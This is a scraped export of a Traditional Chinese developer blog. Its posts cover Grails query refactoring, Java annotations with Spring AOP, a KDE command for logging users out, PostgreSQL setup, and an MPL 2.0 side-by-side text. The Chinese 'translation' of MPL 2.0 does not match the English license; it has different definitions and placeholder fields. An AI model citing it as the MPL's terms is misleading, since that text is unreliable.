58 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 switch (filterType) { case PFilterType.QUICK: projections { property('id', 'id') property('twgcbId', 'twgcbId') property('cname', 'cname') property('typeDesc', 'typeDesc') } break case PFilterType.FULL: projections { property('id', 'id') property('twgcbId', 'twgcbId') property('cname', 'cname') property('type', 'type') property('explanation', 'explanation') property('instructions', 'instructions') property('defaultValue', 'defaultValue') property('remark', 'remark') property('typeDesc', 'typeDesc') } break case PFilterType.VIEW: projections { property('id', 'id') property('twgcbId', 'twgcbId') property('cname', 'cname') property('explanation', 'explanation') property('instructions', 'instructions') property('defaultValue', 'defaultValue') property('remark', 'remark') property('typeDesc', 'typeDesc') } break default: projections { property('twgcbId', 'twgcbId') property('cname', 'cname') sqlProjection(\"(select t.cdesc from bs_select t where t.type = 'twgcb_type' and t.code = this_.type ) typeDesc\", ['typeDesc'], [StandardBasicTypes.STRING]) } } // 程式碼部份省略 } 更改後 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 switch (filterType) { case PFilterType.QUICK: Closure projection = (Closure) quickProjection.clone() projection.delegate = delegate projection() break case PFilterType.FULL: Closure projection = (Closure) fullProjection.clone() projection.delegate = delegate projection() break case PFilterType.VIEW: Closure projection = (Closure) viewProjection.clone() projection.delegate = delegate projection() break default: Closure projection = (Closure) defaultProjection.clone() projection.delegate = delegate projection() } // 程式碼部份省略 } /** * 快速顯示欄位 */ private Closure quickProjection = { } /** * 完整顯示欄位 */ private Closure fullProjection = { } /** * 檢視單筆資料欄位 */ private Closure viewProjection = { } /** * 預設顯示欄位 */ private Closure defaultProjection = { } 將查詢條件修飾 # 更改前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 if (params?.twgcbId) { eq('twgcbId',params?.twgcbId) } if (params?.type) { int type = params?.type as int eq('type',type) } if (params?.id) { long id = params?.id as long eq('id',id) } if (params?.cname) { ilike('cname', \"%${params?.cname}%\") } // 程式碼部份省略 } 更改後 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 params.each { key, value -\u003e if(value){ switch (key) { case 'twgcbId': eq('twgcbId', value) break case 'type': eq('type',value as int) break case 'id': eq('id', value as long) break case 'cname': ilike('cname', \"%${value}%\") break } } } // 程式碼部份省略 } 完整程式碼如下\n","title":"程式進化史","type":"worknot"},{"content":"範例程式完整專案:\nJava 基本內置 annotation # @Override # 重寫父層的方法\n@Deprecated # 表示該方法再為雷會被棄用\n@SuppressWarnings # 主要的用處就是忽略警告信息\n規定 annotation 可以放在哪裡 # 類別 # ElementType.TYPE : 能修飾類、接口、枚舉、注解 ElementType.FIELD : 能修飾字段、枚舉的常量 ElementType.METHOD : 能修飾方法 ElementType.PARAMETER : 能修飾方法參數 ElementType.CONSTRUCTOR : 能修飾構造函數 ElementType.LOCAL_VARIABLE : 能修飾局部變量 ElementType.ANNOTATION_TYPE : 能修飾注解 (元注解就是此種) ElementType.PACKAGE : 能修飾包 ElementType.TYPE_PARAMETER: (java8)類型參數聲明 ElementType.TYPE_USE: (java8)使用類型 ElementType.MODULE: (java9)模組聲明 ElementType.RECORD_COMPONENT: (java16)記錄組件 原始碼 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 /* * Copyright (c) 2003, 2020, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the \u0026#34;Classpath\u0026#34; exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.lang.annotation; /** * The constants of this enumerated class provide a simple classification of the * syntactic locations where annotations may appear in a Java program. These * constants are used in {@link java.lang.annotation.Target Target} * meta-annotations to specify where it is legal to write annotations of a * given type. * * \u0026lt;p\u0026gt;The syntactic locations where annotations may appear are split into * \u0026lt;em\u0026gt;declaration contexts\u0026lt;/em\u0026gt;, where annotations apply to declarations, and * \u0026lt;em\u0026gt;type contexts\u0026lt;/em\u0026gt;, where annotations apply to types used in * declarations and expressions. * * \u0026lt;p\u0026gt;The constants {@link #ANNOTATION_TYPE}, {@link #CONSTRUCTOR}, {@link * #FIELD}, {@link #LOCAL_VARIABLE}, {@link #METHOD}, {@link #PACKAGE}, {@link * #MODULE}, {@link #PARAMETER}, {@link #TYPE}, and {@link #TYPE_PARAMETER} * correspond to the declaration contexts in JLS 9.6.4.1. * * \u0026lt;p\u0026gt;For example, an annotation whose interface is meta-annotated with * {@code @Target(ElementType.FIELD)} may only be written as a modifier for a * field declaration. * * \u0026lt;p\u0026gt;The constant {@link #TYPE_USE} corresponds to the type contexts in JLS * 4.11, as well as to two declaration contexts: class and interface * declarations (including annotation declarations) and type parameter * declarations. * * \u0026lt;p\u0026gt;For example, an annotation whose interface is meta-annotated with * {@code @Target(ElementType.TYPE_USE)} may be written on the class or * interface of a field (or within the class or interface of the field, if it * is a nested or parameterized class or interface, or array class), and may * also appear as a modifier for, say, a class declaration. * * \u0026lt;p\u0026gt;The {@code TYPE_USE} constant includes class and interface declarations * and type parameter declarations as a convenience for designers of * type checkers which give semantics to annotation interfaces. For example, * if the annotation interface {@code NonNull} is meta-annotated with * {@code @Target(ElementType.TYPE_USE)}, then {@code @NonNull} * {@code class C {...}} could be treated by a type checker as indicating that * all variables of class {@code C} are non-null, while still allowing * variables of other classes to be non-null or not non-null based on whether * {@code @NonNull} appears at the variable\u0026#39;s declaration. * * @author Joshua Bloch * @since 1.5 * @jls 9.6.4.1 @Target * @jls 4.1 The Kinds of Types and Values */ public enum ElementType { /** Class, interface (including annotation interface), enum, or record * declaration */ TYPE, /** Field declaration (includes enum constants) */ FIELD, /** Method declaration */ METHOD, /** Formal parameter declaration */ PARAMETER, /** Constructor declaration */ CONSTRUCTOR, /** Local variable declaration */ LOCAL_VARIABLE, /** Annotation interface declaration (Formerly known as an annotation type.) */ ANNOTATION_TYPE, /** Package declaration */ PACKAGE, /** * Type parameter declaration * * @since 1.8 */ TYPE_PARAMETER, /** * Use of a type * * @since 1.8 */ TYPE_USE, /** * Module declaration. * * @since 9 */ MODULE, /** * Record component * * @jls 8.10.3 Record Members * @jls 9.7.4 Where Annotations May Appear * * @since 16 */ RECORD_COMPONENT; } annotation 生命週期: @Retention # 類別 # RetentionPolicy.SOURCE: 不會編譯進去class RetentionPolicy.CLASS: 會編譯進去class，但是不會執行 RetentionPolicy.RUNTIME: 會編譯進去class，會執行 原始碼 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 /* * Copyright (c) 2003, 2020, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the \u0026#34;Classpath\u0026#34; exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.lang.annotation; /** * Annotation retention policy. The constants of this enumerated class * describe the various policies for retaining annotations. They are used * in conjunction with the {@link Retention} meta-annotation interface to * specify how long annotations are to be retained. * * @author Joshua Bloch * @since 1.5 */ public enum RetentionPolicy { /** * Annotations are to be discarded by the compiler. */ SOURCE, /** * Annotations are to be recorded in the class file by the compiler * but need not be retained by the VM at run time. This is the default * behavior. */ CLASS, /** * Annotations are to be recorded in the class file by the compiler and * retained by the VM at run time, so they may be read reflectively. * * @see java.lang.reflect.AnnotatedElement */ RUNTIME } Spring AOP # 環境: grails 5.3.5 使用注入 # grails-app/conf/spring/resources.groovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package spring import work.pollochang.aop.ExampleInterceptor // Place your Spring DSL code here beans = { /* * Spring AOP 設定 */ xmlns aop: \u0026#34;http://www.springframework.org/schema/aop\u0026#34; // 初始化攔截器 aspectBean(ExampleInterceptor) aop.config(\u0026#34;proxy-target-class\u0026#34;: true) { } } AOP 程式片段 # work.pollochang.aop.ExampleInterceptor.groovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package work.pollochang.aop import org.aspectj.lang.annotation.AfterReturning import org.aspectj.lang.annotation.Aspect import org.aspectj.lang.annotation.Before import org.springframework.stereotype.Component /** * 範例攔截器 * 使用 Spring AOP * * @doc https://docs.spring.io/spring-framework/docs/4.3.15.RELEASE/spring-framework-reference/html/aop.html */ @Aspect @Component //先不要使用 @Slf4j 會出現兩次 class ExampleInterceptor { /** * 攔截 package */ @Before(\u0026#34;execution(* work.pollochang.example.ex1.*.*(..))\u0026#34;) static void beforeMethodExecution() { println \u0026#34;這個是指定 package 攔截: 執行方法之前\u0026#34; } /** * 攔截 package */ @AfterReturning(pointcut = \u0026#34;execution(* work.pollochang.example.ex1.*.*(..))\u0026#34;, returning = \u0026#34;result\u0026#34;) static void afterMethodExecution(Object result) { println \u0026#34;這個是指定 package 攔截: 執行方法之後\u0026#34; } /** * 攔截 指定 annotation */ // @Before(\u0026#34;@annotation(org.springframework.transaction.annotation.Transactional)\u0026#34;) @Before(\u0026#34;@annotation(work.pollochang.annotation.Test1)\u0026#34;) void test() { println \u0026#34;這個是使用 annotation 攔截\u0026#34; } } 執行程式範例 # 指定 package 攔截 # work.pollochang.example.ex1.ExampleService.groovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package work.pollochang.example.ex1 /** * 範例 Service */ class ExampleService { /** * 範例執行方法 */ void doSomething() { println \u0026#34;Doing something...\u0026#34; // 模擬程式操作 Thread.sleep(1000) println \u0026#34;Done!\u0026#34; } } 指定 annotation # work.pollochang.annotation.Test1.java 這邊先建立一個 annotation\n1 2 3 4 5 6 7 8 9 package work.pollochang.annotation; import java.lang.annotation.*; @Target({ElementType.METHOD, ElementType.TYPE}) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface Test1 { } work.pollochang.example.ex2.Example2Service.groovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package work.pollochang.example.ex2 import work.pollochang.annotation.Test1 class Example2Service { /** * 範例執行方法 */ @Test1 void doSomething() { println \u0026#34;Doing something...\u0026#34; // 模擬程式操作 Thread.sleep(1000) println \u0026#34;Done!\u0026#34; } } 參考資料 # 工程師古古 Java - annotation 的使用 Integrating Spring AOP with Grails Application Aspect-oriented programming using Spring AOP over Grails framework ","date":"April 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240413/","section":"Worknots","summary":"範例程式完整專案:\nJava 基本內置 annotation # @Override # 重寫父層的方法\n","title":"annotation 與 AOP","type":"worknot"},{"content":"","date":"April 13, 2024","externalUrl":null,"permalink":"/tags/aop/","section":"Tags","summary":"","title":"AOP","type":"tags"},{"content":"","date":"April 9, 2024","externalUrl":null,"permalink":"/tags/kde/","section":"Tags","summary":"","title":"KDE","type":"tags"},{"content":" KED 強制登出使用者 1 sudo pkill -KILL -u [username]] 是直接強制踢出指定使用者所有程序\n","date":"April 9, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240409/","section":"Worknots","summary":" KED 強制登出使用者 1 sudo pkill -KILL -u [username]] 是直接強制踢出指定使用者所有程序\n","title":"KDE 桌面 CLI","type":"worknot"},{"content":"","date":"April 8, 2024","externalUrl":null,"permalink":"/tags/license/","section":"Tags","summary":"","title":"License","type":"tags"},{"content":" 英文原文 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 MOZILLA PUBLIC LICENSE Version 2.0 1. Definitions 1.1. “Contributor” means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software. 1.2. “Contributor Version” means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor\u0026#39;s Contribution. 1.3. “Contribution” means Covered Software of a particular Contributor. 1.4. “Covered Software” means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof. 1.5. “Incompatible With Secondary Licenses” means (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License. 1.6. “Executable Form” means any form of the work other than Source Code Form. 1.7. “Larger Work” means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software. 1.8. “License” means this document. 1.9. “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License. 1.10. “Modifications” means any of the following: (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or (b) any new file in Source Code Form that contains any Covered Software. 1.11. “Patent Claims” of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version. 1.12. “Secondary License” means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses. 1.13. “Source Code Form” means the form of the work preferred for making modifications. 1.14. “You” (or “Your”) means an individual or a legal entity exercising rights under this License. For legal entities, “You” includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity. 2. License Grants 2.1. Grants of Copyright License. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version. 2.2. Grant of Patent License. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version, if any, in whole or in part. This patent license shall apply to the combination of the Contributions made by that particular Contributor and any portions thereof contained in either its Contributions or its Contributor Version. 2.3. Grants of License. Notwithstanding Section 2.1(b) above, no patent license is granted: (1) for any code that a Contributor has removed from Covered Software; (2) for infringements caused by: (i) Your and any other third party\u0026#39;s modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or (3) under Patent Claims infringed by Covered Software in the absence of its Contributions. 3. Distribution Obligations 3.1. Availability of Source Code. Any Covered Software that You distribute or otherwise make available in Executable Form must also be made available in Source Code Form and that Source Code Form must be distributed only under the terms of this License. You must include a copy of this License with every copy of the Source Code Form of the Covered Software You distribute or otherwise make available. You must inform recipients of any such Covered Software in Executable Form as to how they can obtain such Covered Software in Source Code Form in a reasonable manner on or through a medium customarily used for software exchange. 3.2. Modifications. The Modifications that You create or to which You contribute are governed by the terms of this License. You represent that You believe Your Modifications are Your original creation(s) and/or You have sufficient rights to grant the rights conveyed by this License. 3.3. Required Notices. You must include a notice in each of Your Modifications that identifies You as the Contributor of the Modification. You may not remove or alter any copyright, patent, trademark, or other notices contained within the Covered Software, or any of the notices contained in Exhibits A or B. 3.4. Application of Additional Terms. You may not offer or impose any terms on any Covered Software in Source Code Form that alters or restricts the applicable version of this License or the recipients\u0026#39; rights hereunder. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, you may do so only on Your own behalf and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. 3.5. Distribution of Executable Versions. You may distribute the Executable form of the Covered Software under the terms of this License or under the terms of a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable form does not attempt to limit or alter the recipient\u0026#39;s rights in the Source Code Form from the rights set forth in this License. If You distribute the Covered Software in Executable form under a different license, You must make it absolutely clear that any terms which differ from this License are offered by You 繁體中文 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 MOZILLA 公共许可證, 版本 2.0 1. 定義 1.1. “貢獻者” 指有權根據本協議授權的個人或法人實體。 1.2. “知識產權” 指專利權、版權、商標權、以及其他相似的權利（無論是否已經註冊）。 1.3. “授權專利權” 指貢獻者擁有的授權他人使用其專利的權利。 1.4. “您”（或 “您的”） 指通過貢獻、發布、複製、展示、或使用本協議所授權的作品或衍生作品而受到本協議約束的個人或法人實體。 2. 授權權利 2.1. 版權條款：主題的版權歸貢獻者所有。您將此主題之任何部分貢獻給授權人時，即表示您同意授權授權人根據本協議使用您的貢獻。 2.2. 授權專利權：主題的每一位貢獻者在此聲明其擁有可對其授權他人的授權專利權。當您使用、複製、修改、發布、展示或分發主題時，即表示您同意接受這些授權專利權。如此授權專利權包括在任何專利許可證中，以授權他人使用貢獻者的專利，但這不構成將授權專利權授予任何其他人的義務。 2.3. 使用權和分發權：授權人授權您符合本協議的條款和條件的有限使用和分發本主題和其衍生作品的權利。 3. 條款 3.1. 源代碼形式的授權條件：如果您發布、複製、分發或展示此主題或其任何衍生作品的副本（整體或部分）以源代碼形式，您必須在每一份副本中包含授權人提供的完整的、準確的、可操作的、不過分修改的副本。 3.2. 修改：您可以修改此主題或其任何衍生作品，但您只能在您的修改中保留足以識別源代碼的信息，並且您必須在您的修改中包含授權人提供的任何修改或添加的原始代碼、原始授權聲明以及適用的通知信息。 3.3. 授權封閉源代碼分發：您可以以任何方式（包括但不限於向第三方許可）分發此主題的源代碼或其衍生作品的源代碼，但只有在遵守本協議的同時，才能通過封閉源代碼分發進行分發。 3.4. 商標：本許可證不授予您使用任何授權人名義的商標的權利。 3.5. 終止：如果您違反本協議的任何條款，您的許可將自動終止，並且任何對本主題或其任何衍生作品的使用、複製、分發、展示或發布的權利均將自動終止。 4. 知識產權 4.1. 保留所有權利：授權人保留此主題和其衍生作品的所有權利，包括但不限於所有相關的知識產權。 4.2. 沒有任何保證：除非明確聲明，否則授權人不提供任何明示或暗示的保證，包括但不限於適銷性或特定用途的適用性。 5. 責任限制 授權人不對任何直接、間接、特殊、偶然、或後續的損害以及利潤損失或數據丟失等承擔任何責任，即使授權人已被告知此類損害的可能性。 6. 通知 如需與授權人聯繫，請使用以下聯繫方式： [您的聯繫信息] 7. 適用法律和爭議解決 7.1. 本許可證受[適用法律]的管轄，除了該法律允許的範圍外，不適用任何衝突法。 7.2. 任何與本協議有關的爭議應提交至有管轄權的法院，但無論何時，任何一方均可選擇 ","date":"April 8, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240408/","section":"Worknots","summary":"英文原文 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 MOZILLA PUBLIC LICENSE Version 2.0 1. Definitions 1.1. “Contributor” means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software. 1.2. “Contributor Version” means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution. 1.3. “Contribution” means Covered Software of a particular Contributor. 1.4. “Covered Software” means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof. 1.5. “Incompatible With Secondary Licenses” means (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License. 1.6. “Executable Form” means any form of the work other than Source Code Form. 1.7. “Larger Work” means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software. 1.8. “License” means this document. 1.9. “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License. 1.10. “Modifications” means any of the following: (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or (b) any new file in Source Code Form that contains any Covered Software. 1.11. “Patent Claims” of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version. 1.12. “Secondary License” means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses. 1.13. “Source Code Form” means the form of the work preferred for making modifications. 1.14. “You” (or “Your”) means an individual or a legal entity exercising rights under this License. For legal entities, “You” includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity. 2. License Grants 2.1. Grants of Copyright License. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version. 2.2. Grant of Patent License. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version, if any, in whole or in part. This patent license shall apply to the combination of the Contributions made by that particular Contributor and any portions thereof contained in either its Contributions or its Contributor Version. 2.3. Grants of License. Notwithstanding Section 2.1(b) above, no patent license is granted: (1) for any code that a Contributor has removed from Covered Software; (2) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or (3) under Patent Claims infringed by Covered Software in the absence of its Contributions. 3. Distribution Obligations 3.1. Availability of Source Code. Any Covered Software that You distribute or otherwise make available in Executable Form must also be made available in Source Code Form and that Source Code Form must be distributed only under the terms of this License. You must include a copy of this License with every copy of the Source Code Form of the Covered Software You distribute or otherwise make available. You must inform recipients of any such Covered Software in Executable Form as to how they can obtain such Covered Software in Source Code Form in a reasonable manner on or through a medium customarily used for software exchange. 3.2. Modifications. The Modifications that You create or to which You contribute are governed by the terms of this License. You represent that You believe Your Modifications are Your original creation(s) and/or You have sufficient rights to grant the rights conveyed by this License. 3.3. Required Notices. You must include a notice in each of Your Modifications that identifies You as the Contributor of the Modification. You may not remove or alter any copyright, patent, trademark, or other notices contained within the Covered Software, or any of the notices contained in Exhibits A or B. 3.4. Application of Additional Terms. You may not offer or impose any terms on any Covered Software in Source Code Form that alters or restricts the applicable version of this License or the recipients' rights hereunder. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, you may do so only on Your own behalf and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. 3.5. Distribution of Executable Versions. You may distribute the Executable form of the Covered Software under the terms of this License or under the terms of a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable form does not attempt to limit or alter the recipient's rights in the Source Code Form from the rights set forth in this License. If You distribute the Covered Software in Executable form under a different license, You must make it absolutely clear that any terms which differ from this License are offered by You 繁體中文 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 MOZILLA 公共许可證, 版本 2.0 1. 定義 1.1. “貢獻者” 指有權根據本協議授權的個人或法人實體。 1.2. “知識產權” 指專利權、版權、商標權、以及其他相似的權利（無論是否已經註冊）。 1.3. “授權專利權” 指貢獻者擁有的授權他人使用其專利的權利。 1.4. “您”（或 “您的”） 指通過貢獻、發布、複製、展示、或使用本協議所授權的作品或衍生作品而受到本協議約束的個人或法人實體。 2. 授權權利 2.1. 版權條款：主題的版權歸貢獻者所有。您將此主題之任何部分貢獻給授權人時，即表示您同意授權授權人根據本協議使用您的貢獻。 2.2. 授權專利權：主題的每一位貢獻者在此聲明其擁有可對其授權他人的授權專利權。當您使用、複製、修改、發布、展示或分發主題時，即表示您同意接受這些授權專利權。如此授權專利權包括在任何專利許可證中，以授權他人使用貢獻者的專利，但這不構成將授權專利權授予任何其他人的義務。 2.3. 使用權和分發權：授權人授權您符合本協議的條款和條件的有限使用和分發本主題和其衍生作品的權利。 3. 條款 3.1. 源代碼形式的授權條件：如果您發布、複製、分發或展示此主題或其任何衍生作品的副本（整體或部分）以源代碼形式，您必須在每一份副本中包含授權人提供的完整的、準確的、可操作的、不過分修改的副本。 3.2. 修改：您可以修改此主題或其任何衍生作品，但您只能在您的修改中保留足以識別源代碼的信息，並且您必須在您的修改中包含授權人提供的任何修改或添加的原始代碼、原始授權聲明以及適用的通知信息。 3.3. 授權封閉源代碼分發：您可以以任何方式（包括但不限於向第三方許可）分發此主題的源代碼或其衍生作品的源代碼，但只有在遵守本協議的同時，才能通過封閉源代碼分發進行分發。 3.4. 商標：本許可證不授予您使用任何授權人名義的商標的權利。 3.5. 終止：如果您違反本協議的任何條款，您的許可將自動終止，並且任何對本主題或其任何衍生作品的使用、複製、分發、展示或發布的權利均將自動終止。 4. 知識產權 4.1. 保留所有權利：授權人保留此主題和其衍生作品的所有權利，包括但不限於所有相關的知識產權。 4.2. 沒有任何保證：除非明確聲明，否則授權人不提供任何明示或暗示的保證，包括但不限於適銷性或特定用途的適用性。 5. 責任限制 授權人不對任何直接、間接、特殊、偶然、或後續的損害以及利潤損失或數據丟失等承擔任何責任，即使授權人已被告知此類損害的可能性。 6. 通知 如需與授權人聯繫，請使用以下聯繫方式： [您的聯繫信息] 7. 適用法律和爭議解決 7.1. 本許可證受[適用法律]的管轄，除了該法律允許的範圍外，不適用任何衝突法。 7.2. 任何與本協議有關的爭議應提交至有管轄權的法院，但無論何時，任何一方均可選擇 ","title":"Mozilla Public License Version 2.0 中英文對照","type":"worknot"},{"content":"","date":"April 6, 2024","externalUrl":null,"permalink":"/categories/twgcb/","section":"Categories","summary":"","title":"TWGCB","type":"categories"},{"content":"","date":"April 6, 2024","externalUrl":null,"permalink":"/tags/twgcb/","section":"Tags","summary":"","title":"TWGCB","type":"tags"},{"content":"最近在整理 GCB 的相關資料，想說把它匯入資料庫後，未來會比較好管理導入的主機\n資料庫環境 # OS: Debian 12 DB: postgresql 資料庫 schema # 進入資料庫 1 2 sudo su - postgres psql 建立資料庫 1 2 3 4 5 create database twgcb_db; CREATE ROLE twgcb_role NOINHERIT; GRANT ConNECT on DATABASE twgcb_db TO twgcb_role; CREATE USER twgcbu WITH PASSWORD \u0026#39;PASSWORD\u0026#39;; GRANT twgcbu TO twgcb_role; 建立 table TWGCB 資料表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 